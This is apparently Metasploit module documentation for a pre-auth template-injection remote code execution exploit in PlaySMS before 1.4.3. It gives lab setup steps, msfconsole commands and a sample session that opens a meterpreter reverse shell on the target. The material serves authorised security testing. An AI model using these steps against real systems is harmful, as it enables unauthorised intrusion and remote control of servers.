## Vulnerable Application

### Description

This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom PHP template system called 'TPL' which is used in the PlaySMS template engine at `src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a second time, results in code execution.

The TPL (https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.

### Setup

Available at [Source Forge](https://sourceforge.net/projects/playsms/files/playsms/Version%201.4.2/playsms-1.4.2.tar.gz/download).

 1. Download the application
 2. Extract : `tar -xvf playsms-1.4.2.tar.gz`
 3. Move in to the web directory : `mv playsms-1.4.2/web/* /var/www/html/`
 4. Make the config file: `cp /var/www/html/config-dist.php /var/www/html/config.php`
 5. Change the owner : `chown -R www-data:www-data /var/www/html/`
 6. Set DB creds in the config.php file and dump playsms-1.4.2/db/playsms.sql in to your playsms database
 7. Now visit : http://localhost/

## Verification Steps

 1. Install the application (Tested on HactheBox Frolic Machine)
 2. Start msfconsole
 3. Do: `use exploit/multi/http/playsms_template_injection`
 4. Do: `set rport <port>`
 5. Do: `set rhost <ip>`
 6. Do: `set targeturi /playsms`
 7. Do: `check`

```
[*] 10.10.10.111:9999 - The target appears to be vulnerable.
```

 10. Do: `set lport <port>`
 11. Do: `set lhost <ip>`
 12. Do: `run`
 13. You should get a shell.

## Scenarios

### Playsms on Ubuntu Linux

```
msf exploit(multi/http/playsms_template_injection) > options

Module options (exploit/multi/http/playsms_template_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base playsms directory path
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PlaySMS Before 1.4.3


msf exploit(multi/http/playsms_template_injection) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(multi/http/playsms_template_injection) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf exploit(multi/http/playsms_template_injection) > run

[*] Started reverse TCP handler on 192.168.1.3:4444
[+] X-CSRF-Token for login : c62b21bdb395dca92c18446217e31d7f
[*] Trying to Send Payload in Username Field ......
[+] Payload successfully sent
[*] Cookies here : PHPSESSID=p0jmmf1kpqfhpbpcgpbcfbhpv3;
[*] Sending stage (38288 bytes) to 192.168.1.3
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:51800) at 2020-04-02 17:30:53 -0500

meterpreter > getuid
Server username: www-data (1000)
meterpreter > sysinfo
Computer    : ec31d13f3520
OS          : Linux ec31d13f3520 4.19.76-linuxkit #1 SMP Thu Oct 17 19:31:58 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >
```
